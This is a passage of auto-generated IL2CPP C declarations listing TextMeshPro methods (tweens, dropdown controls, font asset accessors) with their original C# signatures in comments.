extern void ColorTween_ValidTarget_mFA6997930396ACBF53FCDFBDC457FC3C63AE90D7 (void);
// 0x00000159 System.Void TMPro.ColorTween/ColorTweenCallback::.ctor()
extern void ColorTweenCallback__ctor_m8723485C32B5BEAF1EBC7F4A7078FB90BDCF1AB4 (void);
// 0x0000015A System.Single TMPro.FloatTween::get_startValue()
extern void FloatTween_get_startValue_mE12446AD7FA5B7816124ADFF1FF7959A3B6ACF1B (void);
// 0x0000015B System.Void TMPro.FloatTween::set_startValue(System.Single)
extern void FloatTween_set_startValue_m1E04EA68FFEE3AA1553B194D0F82C32815E2C718 (void);
// 0x0000015C System.Single TMPro.FloatTween::get_targetValue()
extern void FloatTween_get_targetValue_m2FA9DBB4C75BFD36E2A9DE57522CAA25D9F44FF2 (void);
// 0x0000015D System.Void TMPro.FloatTween::set_targetValue(System.Single)
extern void FloatTween_set_targetValue_mE110CBA03582B01B96766AE53F2DDD3C2D4DE131 (void);
// 0x0000015E System.Single TMPro.FloatTween::get_duration()
extern void FloatTween_get_duration_mE71CD40934ED69FDD7CDA8D5438E9897E6E9FE7A (void);
// 0x0000015F System.Void TMPro.FloatTween::set_duration(System.Single)
extern void FloatTween_set_duration_mF59D55C5F70E037AF88A6191D282D404C532D613 (void);
// 0x00000160 System.Boolean TMPro.FloatTween::get_ignoreTimeScale()
extern void FloatTween_get_ignoreTimeScale_m8FE31080B4800A6CFB89918E0803BB1BE21FDA4B (void);
// 0x00000161 System.Void TMPro.FloatTween::set_ignoreTimeScale(System.Boolean)
extern void FloatTween_set_ignoreTimeScale_m53B7945E5B54998B9BC28E7508E94D3A8205C10A (void);
// 0x00000162 System.Void TMPro.FloatTween::TweenValue(System.Single)
extern void FloatTween_TweenValue_m022D385B013439E2FB8020F6A6BD329CECA81E89 (void);
// 0x00000163 System.Void TMPro.FloatTween::AddOnChangedCallback(UnityEngine.Events.UnityAction`1<System.Single>)
extern void FloatTween_AddOnChangedCallback_m2DCB737D223D6345503A9DA057D7935F9C3A5AD6 (void);
// 0x00000164 System.Boolean TMPro.FloatTween::GetIgnoreTimescale()
extern void FloatTween_GetIgnoreTimescale_mB13FC7DCC241FCF2C9EC10D8AF8A9B6103F9B420 (void);
// 0x00000165 System.Single TMPro.FloatTween::GetDuration()
extern void FloatTween_GetDuration_m4F4E336D66A32D1F051E0EF2B1513F05EC3BF349 (void);
// 0x00000166 System.Boolean TMPro.FloatTween::ValidTarget()
extern void FloatTween_ValidTarget_m4591FB5DBEE8762554B97A09B232893EE754D7DF (void);
// 0x00000167 System.Void TMPro.FloatTween/FloatTweenCallback::.ctor()
extern void FloatTweenCallback__ctor_m93E614F36DA9484D40A5286A7EB4220220A25F00 (void);
// 0x00000168 System.Collections.IEnumerator TMPro.TweenRunner`1::Start(T)
// 0x00000169 System.Void TMPro.TweenRunner`1::Init(UnityEngine.MonoBehaviour)
// 0x0000016A System.Void TMPro.TweenRunner`1::StartTween(T)
// 0x0000016B System.Void TMPro.TweenRunner`1::StopTween()
// 0x0000016C System.Void TMPro.TweenRunner`1::.ctor()
// 0x0000016D System.Void TMPro.TweenRunner`1/<Start>d__2::.ctor(System.Int32)
// 0x0000016E System.Void TMPro.TweenRunner`1/<Start>d__2::System.IDisposable.Dispose()
// 0x0000016F System.Boolean TMPro.TweenRunner`1/<Start>d__2::MoveNext()
// 0x00000170 System.Object TMPro.TweenRunner`1/<Start>d__2::System.Collections.Generic.IEnumerator<System.Object>.get_Current()
// 0x00000171 System.Void TMPro.TweenRunner`1/<Start>d__2::System.Collections.IEnumerator.Reset()
// 0x00000172 System.Object TMPro.TweenRunner`1/<Start>d__2::System.Collections.IEnumerator.get_Current()
// 0x00000173 UnityEngine.GameObject TMPro.TMP_DefaultControls::CreateUIElementRoot(System.String,UnityEngine.Vector2)
extern void TMP_DefaultControls_CreateUIElementRoot_mB48F61A62CBA616BB699052B73EB03D90A3979F0 (void);
// 0x00000174 UnityEngine.GameObject TMPro.TMP_DefaultControls::CreateUIObject(System.String,UnityEngine.GameObject)
extern void TMP_DefaultControls_CreateUIObject_m734199C8C08553C1FC725A958B17A1A11DE7A765 (void);
// 0x00000175 System.Void TMPro.TMP_DefaultControls::SetDefaultTextValues(TMPro.TMP_Text)
extern void TMP_DefaultControls_SetDefaultTextValues_mDD66853F8B9F601A850D19E664C134067C7887AE (void);
// 0x00000176 System.Void TMPro.TMP_DefaultControls::SetDefaultColorTransitionValues(UnityEngine.UI.Selectable)
extern void TMP_DefaultControls_SetDefaultColorTransitionValues_m37B34B13FB508737733A214ABA4A4B7E920B41E7 (void);
// 0x00000177 System.Void TMPro.TMP_DefaultControls::SetParentAndAlign(UnityEngine.GameObject,UnityEngine.GameObject)
extern void TMP_DefaultControls_SetParentAndAlign_m49504B349B9767BA0C3ED5D574B68838DB92544C (void);
// 0x00000178 System.Void TMPro.TMP_DefaultControls::SetLayerRecursively(UnityEngine.GameObject,System.Int32)
extern void TMP_DefaultControls_SetLayerRecursively_mC41476261A5CC225DE7FE9BA8B1225FFE1E1D58F (void);
// 0x00000179 UnityEngine.GameObject TMPro.TMP_DefaultControls::CreateScrollbar(TMPro.TMP_DefaultControls/Resources)
extern void TMP_DefaultControls_CreateScrollbar_m6E0D7DC68D4F801076674F5BB5801BC2358316CB (void);
// 0x0000017A UnityEngine.GameObject TMPro.TMP_DefaultControls::CreateButton(TMPro.TMP_DefaultControls/Resources)
extern void TMP_DefaultControls_CreateButton_m4ED27E0D56E70190F7507361E6EC0952AC48B3E7 (void);
// 0x0000017B UnityEngine.GameObject TMPro.TMP_DefaultControls::CreateText(TMPro.TMP_DefaultControls/Resources)
extern void TMP_DefaultControls_CreateText_m898FCFC57E75DD825128E5C7CAA0E19498ADC37B (void);
// 0x0000017C UnityEngine.GameObject TMPro.TMP_DefaultControls::CreateInputField(TMPro.TMP_DefaultControls/Resources)
extern void TMP_DefaultControls_CreateInputField_mD6E33BEB7C6DB045AA7C2FB1B907D8ADB607378A (void);
// 0x0000017D UnityEngine.GameObject TMPro.TMP_DefaultControls::CreateDropdown(TMPro.TMP_DefaultControls/Resources)
extern void TMP_DefaultControls_CreateDropdown_m1182D5C2B73116B97CFC03E10ED04DE6182F2E08 (void);
// 0x0000017E System.Void TMPro.TMP_DefaultControls::.cctor()
extern void TMP_DefaultControls__cctor_m50CAD9857FE3845ECBD94C5169C870077A479E28 (void);
// 0x0000017F UnityEngine.RectTransform TMPro.TMP_Dropdown::get_template()
extern void TMP_Dropdown_get_template_m6C77CA07D48383A133E8D7567E1CF909876BAE30 (void);
// 0x00000180 System.Void TMPro.TMP_Dropdown::set_template(UnityEngine.RectTransform)
extern void TMP_Dropdown_set_template_mCA07B030A71D2E4D4C179B4E4E72568656A340BF (void);
// 0x00000181 TMPro.TMP_Text TMPro.TMP_Dropdown::get_captionText()
extern void TMP_Dropdown_get_captionText_mBC7B6DBEA095496F29EDA88E92F95E650B1BBC46 (void);
// 0x00000182 System.Void TMPro.TMP_Dropdown::set_captionText(TMPro.TMP_Text)
extern void TMP_Dropdown_set_captionText_m7050B2703E0A8C652571271C860004F0014BD464 (void);
// 0x00000183 UnityEngine.UI.Image TMPro.TMP_Dropdown::get_captionImage()
extern void TMP_Dropdown_get_captionImage_mD946C03912041B698DD64BE58890CB30CD727308 (void);
// 0x00000184 System.Void TMPro.TMP_Dropdown::set_captionImage(UnityEngine.UI.Image)
extern void TMP_Dropdown_set_captionImage_m1AE6C5CF0660B3BF8C4A24DFF58E088C7CC67C19 (void);
// 0x00000185 UnityEngine.UI.Graphic TMPro.TMP_Dropdown::get_placeholder()
extern void TMP_Dropdown_get_placeholder_m425453F7D24F908584DCC5BEB8CCB16D1E4A4B20 (void);
// 0x00000186 System.Void TMPro.TMP_Dropdown::set_placeholder(UnityEngine.UI.Graphic)
extern void TMP_Dropdown_set_placeholder_mA6502D4B0CDB70E1BF14B43FB468CF048929035B (void);
// 0x00000187 TMPro.TMP_Text TMPro.TMP_Dropdown::get_itemText()
extern void TMP_Dropdown_get_itemText_m0AAE4A304C3AC8132209E844C5303411DB3C1AFB (void);
// 0x00000188 System.Void TMPro.TMP_Dropdown::set_itemText(TMPro.TMP_Text)
extern void TMP_Dropdown_set_itemText_mCC983B4A78E8C594E5C78BE1F8F8DBB067E3CA1B (void);
// 0x00000189 UnityEngine.UI.Image TMPro.TMP_Dropdown::get_itemImage()
extern void TMP_Dropdown_get_itemImage_mE0C2F6ED6A8338733F2A260939530BAB06DB576E (void);
// 0x0000018A System.Void TMPro.TMP_Dropdown::set_itemImage(UnityEngine.UI.Image)
extern void TMP_Dropdown_set_itemImage_m41479EC2993BB2900024406EC39FDACC83DB808D (void);
// 0x0000018B System.Collections.Generic.List`1<TMPro.TMP_Dropdown/OptionData> TMPro.TMP_Dropdown::get_options()
extern void TMP_Dropdown_get_options_mA543A0EFE4D1953E73C6F60ECA8CE177182571C5 (void);
// 0x0000018C System.Void TMPro.TMP_Dropdown::set_options(System.Collections.Generic.List`1<TMPro.TMP_Dropdown/OptionData>)
extern void TMP_Dropdown_set_options_m4CD66EEEFDF53BAD9862AA2768F6048B2CA5B2AD (void);
// 0x0000018D TMPro.TMP_Dropdown/DropdownEvent TMPro.TMP_Dropdown::get_onValueChanged()
extern void TMP_Dropdown_get_onValueChanged_mC5A65068BFDC48C26FAC4B6FB2C0983633168BFF (void);
// 0x0000018E System.Void TMPro.TMP_Dropdown::set_onValueChanged(TMPro.TMP_Dropdown/DropdownEvent)
extern void TMP_Dropdown_set_onValueChanged_m79F7EFB914F2FDD0747F0DF2338E100996B49ECE (void);
// 0x0000018F System.Single TMPro.TMP_Dropdown::get_alphaFadeSpeed()
extern void TMP_Dropdown_get_alphaFadeSpeed_m18A605C6E2AA4BA276BB7D8200718977530988DD (void);
// 0x00000190 System.Void TMPro.TMP_Dropdown::set_alphaFadeSpeed(System.Single)
extern void TMP_Dropdown_set_alphaFadeSpeed_m61345D8CD279D16406067AEA81DC4CFE6DFDB073 (void);
// 0x00000191 System.Int32 TMPro.TMP_Dropdown::get_value()
extern void TMP_Dropdown_get_value_m5916A6D1897431E8ED789FEC24551A311D1B5C70 (void);
// 0x00000192 System.Void TMPro.TMP_Dropdown::set_value(System.Int32)
extern void TMP_Dropdown_set_value_m8362A866D571975FECFD1FE47D3C4D83559795BF (void);
// 0x00000193 System.Void TMPro.TMP_Dropdown::SetValueWithoutNotify(System.Int32)
extern void TMP_Dropdown_SetValueWithoutNotify_m619A7D38D1EBCCA60EB1F5891FAD9FD0FB4839FD (void);
// 0x00000194 System.Void TMPro.TMP_Dropdown::SetValue(System.Int32,System.Boolean)
extern void TMP_Dropdown_SetValue_m1E528A87C2B11DD84D0141D8C6D175EEFE26F202 (void);
// 0x00000195 System.Boolean TMPro.TMP_Dropdown::get_IsExpanded()
extern void TMP_Dropdown_get_IsExpanded_mFCB1622385A1BBB05908C0C94D5751801B5512FC (void);
// 0x00000196 System.Void TMPro.TMP_Dropdown::.ctor()
extern void TMP_Dropdown__ctor_m5405D55FF150C4ED50322BA7B80E11E30096819D (void);
// 0x00000197 System.Void TMPro.TMP_Dropdown::Awake()
extern void TMP_Dropdown_Awake_m056E49917C61BD2AE6779CB0AD5A8983D17AB8FB (void);
// 0x00000198 System.Void TMPro.TMP_Dropdown::Start()
extern void TMP_Dropdown_Start_m734BEF53026D3806A8E321B1E5DE53C340D28B16 (void);
// 0x00000199 System.Void TMPro.TMP_Dropdown::OnDisable()
extern void TMP_Dropdown_OnDisable_m10823C942F18754D85E6BB4C86A267D2D4B0F8B3 (void);
// 0x0000019A System.Void TMPro.TMP_Dropdown::RefreshShownValue()
extern void TMP_Dropdown_RefreshShownValue_mF63797E989A9075B6E4CF767B2C4B55FBD23DFF8 (void);
// 0x0000019B System.Void TMPro.TMP_Dropdown::AddOptions(System.Collections.Generic.List`1<TMPro.TMP_Dropdown/OptionData>)
extern void TMP_Dropdown_AddOptions_m0552A59BC909364951E1661FABADBC076715E4DD (void);
// 0x0000019C System.Void TMPro.TMP_Dropdown::AddOptions(System.Collections.Generic.List`1<System.String>)
extern void TMP_Dropdown_AddOptions_m6EB4E175FE6B5555BDC2C31EFBCC3B115DE85FF5 (void);
// 0x0000019D System.Void TMPro.TMP_Dropdown::AddOptions(System.Collections.Generic.List`1<UnityEngine.Sprite>)
extern void TMP_Dropdown_AddOptions_m788BACF88AF7E1342CEE571AAC04EF86D72DDEDE (void);
// 0x0000019E System.Void TMPro.TMP_Dropdown::ClearOptions()
extern void TMP_Dropdown_ClearOptions_m9888C23BC3033268E5C2D8613C0854661E7BDEB5 (void);
// 0x0000019F System.Void TMPro.TMP_Dropdown::SetupTemplate()
extern void TMP_Dropdown_SetupTemplate_m3016B8C83713F451E88F3CBF008856BAB835F0EA (void);
// 0x000001A0 T TMPro.TMP_Dropdown::GetOrAddComponent(UnityEngine.GameObject)
// 0x000001A1 System.Void TMPro.TMP_Dropdown::OnPointerClick(UnityEngine.EventSystems.PointerEventData)
extern void TMP_Dropdown_OnPointerClick_m008E7A23F525AF69BE769CE82695A8D07EE6EB39 (void);
// 0x000001A2 System.Void TMPro.TMP_Dropdown::OnSubmit(UnityEngine.EventSystems.BaseEventData)
extern void TMP_Dropdown_OnSubmit_mC64400DED5E54304BF98C84C4D4FB71B089CA49C (void);
// 0x000001A3 System.Void TMPro.TMP_Dropdown::OnCancel(UnityEngine.EventSystems.BaseEventData)
extern void TMP_Dropdown_OnCancel_m67E30490F0C9D41D7BDCF42DF1621DABADC14B32 (void);
// 0x000001A4 System.Void TMPro.TMP_Dropdown::Show()
extern void TMP_Dropdown_Show_m8A64194BE150E0774C66E69479A1699DBB6AA900 (void);
// 0x000001A5 UnityEngine.GameObject TMPro.TMP_Dropdown::CreateBlocker(UnityEngine.Canvas)
extern void TMP_Dropdown_CreateBlocker_m4048F0A0133E9DE795874056A9BBD8F58B6E947B (void);
// 0x000001A6 System.Void TMPro.TMP_Dropdown::DestroyBlocker(UnityEngine.GameObject)
extern void TMP_Dropdown_DestroyBlocker_m2C9D955C6958C84AD323AC9E6193A07AE8212EA6 (void);
// 0x000001A7 UnityEngine.GameObject TMPro.TMP_Dropdown::CreateDropdownList(UnityEngine.GameObject)
extern void TMP_Dropdown_CreateDropdownList_m3C853DEAA3D9F33653126E195B57D9F423064116 (void);
// 0x000001A8 System.Void TMPro.TMP_Dropdown::DestroyDropdownList(UnityEngine.GameObject)
extern void TMP_Dropdown_DestroyDropdownList_mABF98A8706914CAFF13B3F6EB359F4F67E1E3FD9 (void);
// 0x000001A9 TMPro.TMP_Dropdown/DropdownItem TMPro.TMP_Dropdown::CreateItem(TMPro.TMP_Dropdown/DropdownItem)
extern void TMP_Dropdown_CreateItem_m6DBD654E30D5A7ABD668DE8651E554966D0A7191 (void);
// 0x000001AA System.Void TMPro.TMP_Dropdown::DestroyItem(TMPro.TMP_Dropdown/DropdownItem)
extern void TMP_Dropdown_DestroyItem_mC0A868E6C60C5E1406E57B388FAFC1307C381A40 (void);
// 0x000001AB TMPro.TMP_Dropdown/DropdownItem TMPro.TMP_Dropdown::AddItem(TMPro.TMP_Dropdown/OptionData,System.Boolean,TMPro.TMP_Dropdown/DropdownItem,System.Collections.Generic.List`1<TMPro.TMP_Dropdown/DropdownItem>)
extern void TMP_Dropdown_AddItem_m1B768BFBFFE0E340BAD0141E2C3F90FFAE889EFA (void);
// 0x000001AC System.Void TMPro.TMP_Dropdown::AlphaFadeList(System.Single,System.Single)
extern void TMP_Dropdown_AlphaFadeList_mC7278768821D6B8FD28FC712E8DE85CA334E2104 (void);
// 0x000001AD System.Void TMPro.TMP_Dropdown::AlphaFadeList(System.Single,System.Single,System.Single)
extern void TMP_Dropdown_AlphaFadeList_m663AC38ACFC469DBDFFF025314B34E310D70FBB8 (void);
// 0x000001AE System.Void TMPro.TMP_Dropdown::SetAlpha(System.Single)
extern void TMP_Dropdown_SetAlpha_m2AF7CD832E68BA385496F4F70D291219B3668ED7 (void);
// 0x000001AF System.Void TMPro.TMP_Dropdown::Hide()
extern void TMP_Dropdown_Hide_m7FFE4A08B7370707BCE35A3EDD74373A1926E618 (void);
// 0x000001B0 System.Collections.IEnumerator TMPro.TMP_Dropdown::DelayedDestroyDropdownList(System.Single)
extern void TMP_Dropdown_DelayedDestroyDropdownList_m746DFE51A0D66199C34FA32CF81761FDF1BE5F9C (void);
// 0x000001B1 System.Void TMPro.TMP_Dropdown::ImmediateDestroyDropdownList()
extern void TMP_Dropdown_ImmediateDestroyDropdownList_mFEE6CE2C3264546861C82E60CE4C61BA42559B98 (void);
// 0x000001B2 System.Void TMPro.TMP_Dropdown::OnSelectItem(UnityEngine.UI.Toggle)
extern void TMP_Dropdown_OnSelectItem_m9F1323DE41E23EFF4381C914BF1FCAA57F73C7AC (void);
// 0x000001B3 System.Void TMPro.TMP_Dropdown::.cctor()
extern void TMP_Dropdown__cctor_m21922141D95DE2A970D329524BA00A601D6DAFB1 (void);
// 0x000001B4 TMPro.TMP_Text TMPro.TMP_Dropdown/DropdownItem::get_text()
extern void DropdownItem_get_text_mBE92632907F1772753BC60A7FE1E5358077E6FD4 (void);
// 0x000001B5 System.Void TMPro.TMP_Dropdown/DropdownItem::set_text(TMPro.TMP_Text)
extern void DropdownItem_set_text_m7C30C7E6DEE86A8896B99A872C5934D6F0B234F2 (void);
// 0x000001B6 UnityEngine.UI.Image TMPro.TMP_Dropdown/DropdownItem::get_image()
extern void DropdownItem_get_image_m1C89F635266FD742D3542FA99DB1A0D224CFD270 (void);
// 0x000001B7 System.Void TMPro.TMP_Dropdown/DropdownItem::set_image(UnityEngine.UI.Image)
extern void DropdownItem_set_image_m133BCC7D7320DC10EBBF5193FAE0E60C3F9A15C2 (void);
// 0x000001B8 UnityEngine.RectTransform TMPro.TMP_Dropdown/DropdownItem::get_rectTransform()
extern void DropdownItem_get_rectTransform_mFE9F9A7B8259B150E399A40F9BE3555DC3273926 (void);
// 0x000001B9 System.Void TMPro.TMP_Dropdown/DropdownItem::set_rectTransform(UnityEngine.RectTransform)
extern void DropdownItem_set_rectTransform_m0C6BAB5E2EB69C438BF2F8D4DDE3E0DE136651AD (void);
// 0x000001BA UnityEngine.UI.Toggle TMPro.TMP_Dropdown/DropdownItem::get_toggle()
extern void DropdownItem_get_toggle_mCC7B7993BF2AB865B2B6B82472391D5B1AB873D3 (void);
// 0x000001BB System.Void TMPro.TMP_Dropdown/DropdownItem::set_toggle(UnityEngine.UI.Toggle)
extern void DropdownItem_set_toggle_mBD6E9CFB6C3757CB013CB683A8BB6DAFF34A94FA (void);
// 0x000001BC System.Void TMPro.TMP_Dropdown/DropdownItem::OnPointerEnter(UnityEngine.EventSystems.PointerEventData)
extern void DropdownItem_OnPointerEnter_m6020D4A90F1136573E7173875329573C07219B3D (void);
// 0x000001BD System.Void TMPro.TMP_Dropdown/DropdownItem::OnCancel(UnityEngine.EventSystems.BaseEventData)
extern void DropdownItem_OnCancel_mD75155CB0FBA2A6FF217AC54CD0651061E830B5E (void);
// 0x000001BE System.Void TMPro.TMP_Dropdown/DropdownItem::.ctor()
extern void DropdownItem__ctor_m3A599BCBC6EEC74EA7CFE8D6AED4080D041BBE65 (void);
// 0x000001BF System.String TMPro.TMP_Dropdown/OptionData::get_text()
extern void OptionData_get_text_m2E822D5D50B597BFBA7AB3485EF15B526A726A1A (void);
// 0x000001C0 System.Void TMPro.TMP_Dropdown/OptionData::set_text(System.String)
extern void OptionData_set_text_mFF1E8A215A399CB9EA9DDFB0C6F3B9F068837226 (void);
// 0x000001C1 UnityEngine.Sprite TMPro.TMP_Dropdown/OptionData::get_image()
extern void OptionData_get_image_m5C866E5C2E025EABF5591C7F88FB46E426EF20BA (void);
// 0x000001C2 System.Void TMPro.TMP_Dropdown/OptionData::set_image(UnityEngine.Sprite)
extern void OptionData_set_image_m17048079C3FCD19A6D190AAEBA198DBB74D93C88 (void);
// 0x000001C3 System.Void TMPro.TMP_Dropdown/OptionData::.ctor()
extern void OptionData__ctor_m5B8E6B683070AB406FA738E689E2FD4055697FB6 (void);
// 0x000001C4 System.Void TMPro.TMP_Dropdown/OptionData::.ctor(System.String)
extern void OptionData__ctor_mC08B019055F1AFA7CFC262EF24A64F6D8E7C84E6 (void);
// 0x000001C5 System.Void TMPro.TMP_Dropdown/OptionData::.ctor(UnityEngine.Sprite)
extern void OptionData__ctor_mFB73CF17AD7974CEBAA97EB2C90B2E37FB624065 (void);
// 0x000001C6 System.Void TMPro.TMP_Dropdown/OptionData::.ctor(System.String,UnityEngine.Sprite)
extern void OptionData__ctor_m19DDCFEF4911D4F1E6D07F5CE9924AF555CB4EC5 (void);
// 0x000001C7 System.Collections.Generic.List`1<TMPro.TMP_Dropdown/OptionData> TMPro.TMP_Dropdown/OptionDataList::get_options()
extern void OptionDataList_get_options_mBC2E351252449F2B611857D18B396CEDF2289781 (void);
// 0x000001C8 System.Void TMPro.TMP_Dropdown/OptionDataList::set_options(System.Collections.Generic.List`1<TMPro.TMP_Dropdown/OptionData>)
extern void OptionDataList_set_options_m826C957D08679C2620276456BCD535D148640174 (void);
// 0x000001C9 System.Void TMPro.TMP_Dropdown/OptionDataList::.ctor()
extern void OptionDataList__ctor_m698166937E8E51F44FC2CCE7B3EF7BDA3932645B (void);
// 0x000001CA System.Void TMPro.TMP_Dropdown/DropdownEvent::.ctor()
extern void DropdownEvent__ctor_m65812C2BBC12188466CE844E9EC223B89E0946C1 (void);
// 0x000001CB System.Void TMPro.TMP_Dropdown/<>c__DisplayClass69_0::.ctor()
extern void U3CU3Ec__DisplayClass69_0__ctor_mD126C84DF1978CB7709CC2B7374265951604D581 (void);
// 0x000001CC System.Void TMPro.TMP_Dropdown/<>c__DisplayClass69_0::<Show>b__0(System.Boolean)
extern void U3CU3Ec__DisplayClass69_0_U3CShowU3Eb__0_mE6A18CF6156B45C4052F1CBF0707DAB544ABA722 (void);
// 0x000001CD System.Void TMPro.TMP_Dropdown/<DelayedDestroyDropdownList>d__81::.ctor(System.Int32)
extern void U3CDelayedDestroyDropdownListU3Ed__81__ctor_mFA83B08D54630018817A4BF76653AFDD3B1F8F69 (void);
// 0x000001CE System.Void TMPro.TMP_Dropdown/<DelayedDestroyDropdownList>d__81::System.IDisposable.Dispose()
extern void U3CDelayedDestroyDropdownListU3Ed__81_System_IDisposable_Dispose_mA124316B9DB4950F9756BDB797488D41F72383CD (void);
// 0x000001CF System.Boolean TMPro.TMP_Dropdown/<DelayedDestroyDropdownList>d__81::MoveNext()
extern void U3CDelayedDestroyDropdownListU3Ed__81_MoveNext_mA1EBFA3FA05EF54A866C4C59793A1B9A2D1C9E70 (void);
// 0x000001D0 System.Object TMPro.TMP_Dropdown/<DelayedDestroyDropdownList>d__81::System.Collections.Generic.IEnumerator<System.Object>.get_Current()
extern void U3CDelayedDestroyDropdownListU3Ed__81_System_Collections_Generic_IEnumeratorU3CSystem_ObjectU3E_get_Current_m39BF9EDA0A38F97C5D75B53E1EF3954A3F58DE1F (void);
// 0x000001D1 System.Void TMPro.TMP_Dropdown/<DelayedDestroyDropdownList>d__81::System.Collections.IEnumerator.Reset()
extern void U3CDelayedDestroyDropdownListU3Ed__81_System_Collections_IEnumerator_Reset_mB0690A94BB4E305E068156253A5D0F9044C7A101 (void);
// 0x000001D2 System.Object TMPro.TMP_Dropdown/<DelayedDestroyDropdownList>d__81::System.Collections.IEnumerator.get_Current()
extern void U3CDelayedDestroyDropdownListU3Ed__81_System_Collections_IEnumerator_get_Current_mFFDC09A7ADBA08CB2BE7D2DE3F83C54F5418F8F0 (void);
// 0x000001D3 System.String TMPro.TMP_FontAsset::get_version()
extern void TMP_FontAsset_get_version_mD6CCB4A7D6F1FD5C46C65A0711426299D50B2AFE (void);
// 0x000001D4 System.Void TMPro.TMP_FontAsset::set_version(System.String)
extern void TMP_FontAsset_set_version_m7E9B93F4FDCE9EF03EDE8EA1245C522AFC61DE02 (void);
// 0x000001D5 UnityEngine.Font TMPro.TMP_FontAsset::get_sourceFontFile()
extern void TMP_FontAsset_get_sourceFontFile_mD9B0F4FCBBCDCAAE5A370399DDE46C768B736722 (void);
// 0x000001D6 System.Void TMPro.TMP_FontAsset::set_sourceFontFile(UnityEngine.Font)
extern void TMP_FontAsset_set_sourceFontFile_mD3E145F204C872196FAE7DF1B97724C43BE24377 (void);
// 0x000001D7 TMPro.AtlasPopulationMode TMPro.TMP_FontAsset::get_atlasPopulationMode()
extern void TMP_FontAsset_get_atlasPopulationMode_m31A707178FB4F1722BA7D090A8E169CE2FAEB19F (void);
// 0x000001D8 System.Void TMPro.TMP_FontAsset::set_atlasPopulationMode(TMPro.AtlasPopulationMode)
extern void TMP_FontAsset_set_atlasPopulationMode_mE002B4CEA0FB2CA8A52C77820B054165881E4FA4 (void);
// 0x000001D9 UnityEngine.TextCore.FaceInfo TMPro.TMP_FontAsset::get_faceInfo()
extern void TMP_FontAsset_get_faceInfo_m1EB979B4CA53AA9EC5B09C445E28C24A477CBA6F (void);
// 0x000001DA System.Void TMPro.TMP_FontAsset::set_faceInfo(UnityEngine.TextCore.FaceInfo)
extern void TMP_FontAsset_set_faceInfo_m711C454A1E8FE2B5DF455B6673257187B4C65B39 (void);
// 0x000001DB System.Collections.Generic.List`1<UnityEngine.TextCore.Glyph> TMPro.TMP_FontAsset::get_glyphTable()
extern void TMP_FontAsset_get_glyphTable_mF205AA67646F5B0D2642CCBD2C1386F9DDDB8BCA (void);
// 0x000001DC System.Void TMPro.TMP_FontAsset::set_glyphTable(System.Collections.Generic.List`1<UnityEngine.TextCore.Glyph>)
extern void TMP_FontAsset_set_glyphTable_m4604AAE8FFF44D5129D1BA4DB8354EB850550528 (void);
// 0x000001DD System.Collections.Generic.Dictionary`2<System.UInt32,UnityEngine.TextCore.Glyph> TMPro.TMP_FontAsset::get_glyphLookupTable()
extern void TMP_FontAsset_get_glyphLookupTable_m8793591000281F1CA28F3B9BDB8ACD3316BA64BB (void);
// 0x000001DE System.Collections.Generic.List`1<TMPro.TMP_Character> TMPro.TMP_FontAsset::get_characterTable()
extern void TMP_FontAsset_get_characterTable_m8447F604F2D0F3615DA9AC1EBF5C289E112EDDF6 (void);
// 0x000001DF System.Void TMPro.TMP_FontAsset::set_characterTable(System.Collections.Generic.List`1<TMPro.TMP_Character>)
extern void TMP_FontAsset_set_characterTable_m00ADF21D5EC39D8DC306332253F7123C82AED02B (void);
// 0x000001E0 System.Collections.Generic.Dictionary`2<System.UInt32,TMPro.TMP_Character> TMPro.TMP_FontAsset::get_characterLookupTable()
extern void TMP_FontAsset_get_characterLookupTable_mEFAADDFAA6233DFEC3A0D8C163588B3C678451E9 (void);
// 0x000001E1 UnityEngine.Texture2D TMPro.TMP_FontAsset::get_atlasTexture()
extern void TMP_FontAsset_get_atlasTexture_mC44D519047CD3E54BD92AB8FE6773034F990AC7D (void);
// 0x000001E2 UnityEngine.Texture2D[] TMPro.TMP_FontAsset::get_atlasTextures()
extern void TMP_FontAsset_get_atlasTextures_m80D4DF83161F39AC7D06B0B097038B1E02AFE307 (void);
// 0x000001E3 System.Void TMPro.TMP_FontAsset::set_atlasTextures(UnityEngine.Texture2D[])
extern void TMP_FontAsset_set_atlasTextures_m5FED84FD7829C6B72E5937EC8DB9F844E654E937 (void);
// 0x000001E4 System.Int32 TMPro.TMP_FontAsset::get_atlasTextureCount()
extern void TMP_FontAsset_get_atlasTextureCount_m45F8A9CA48B566FF57230414BC298846FB0DD407 (void);
// 0x000001E5 System.Boolean TMPro.TMP_FontAsset::get_isMultiAtlasTexturesEnabled()
extern void TMP_FontAsset_get_isMultiAtlasTexturesEnabled_m0F308BCE9267BCAB86BBF7CEF0CBAE302BF5E8C0 (void);
// 0x000001E6 System.Void TMPro.TMP_FontAsset::set_isMultiAtlasTexturesEnabled(System.Boolean)
extern void TMP_FontAsset_set_isMultiAtlasTexturesEnabled_m1EBFF9BBDE2D2A4E0B754FB1CCC45B76B0F1FA10 (void);
// 0x000001E7 System.Boolean TMPro.TMP_FontAsset::get_clearDynamicDataOnBuild()
extern void TMP_FontAsset_get_clearDynamicDataOnBuild_m0D55A98AE41E211EE960F57F0A835A6FBB627B13 (void);
// 0x000001E8 System.Void TMPro.TMP_FontAsset::set_clearDynamicDataOnBuild(System.Boolean)
extern void TMP_FontAsset_set_clearDynamicDataOnBuild_m74DA616F7435271D377E7092D3B7BB2A95EB7EAD (void);
// 0x000001E9 System.Collections.Generic.List`1<UnityEngine.TextCore.GlyphRect> TMPro.TMP_FontAsset::get_usedGlyphRects()
extern void TMP_FontAsset_get_usedGlyphRects_m6E5D5A9E86583AE37DA1ABD7F184A7F359C9627E (void);
// 0x000001EA System.Void TMPro.TMP_FontAsset::set_usedGlyphRects(System.Collections.Generic.List`1<UnityEngine.TextCore.GlyphRect>)
extern void TMP_FontAsset_set_usedGlyphRects_m75EC42D8C57FFCA998DC859C5B6D91D03F7C1615 (void);
// 0x000001EB System.Collections.Generic.List`1<UnityEngine.TextCore.GlyphRect> TMPro.TMP_FontAsset::get_freeGlyphRects()
extern void TMP_FontAsset_get_freeGlyphRects_m093618A6748A2CB3C23904B03E5AD85B4B04521D (void);
// 0x000001EC System.Void TMPro.TMP_FontAsset::set_freeGlyphRects(System.Collections.Generic.List`1<UnityEngine.TextCore.GlyphRect>)
extern void TMP_FontAsset_set_freeGlyphRects_mC976815EFF6313591B1B2A4CFFF9C77249570DC1 (void);
// 0x000001ED TMPro.FaceInfo_Legacy TMPro.TMP_FontAsset::get_fontInfo()
extern void TMP_FontAsset_get_fontInfo_m88825262BEC22C48EB4854A09CD31908024777FD (void);
// 0x000001EE System.Int32 TMPro.TMP_FontAsset::get_atlasWidth()
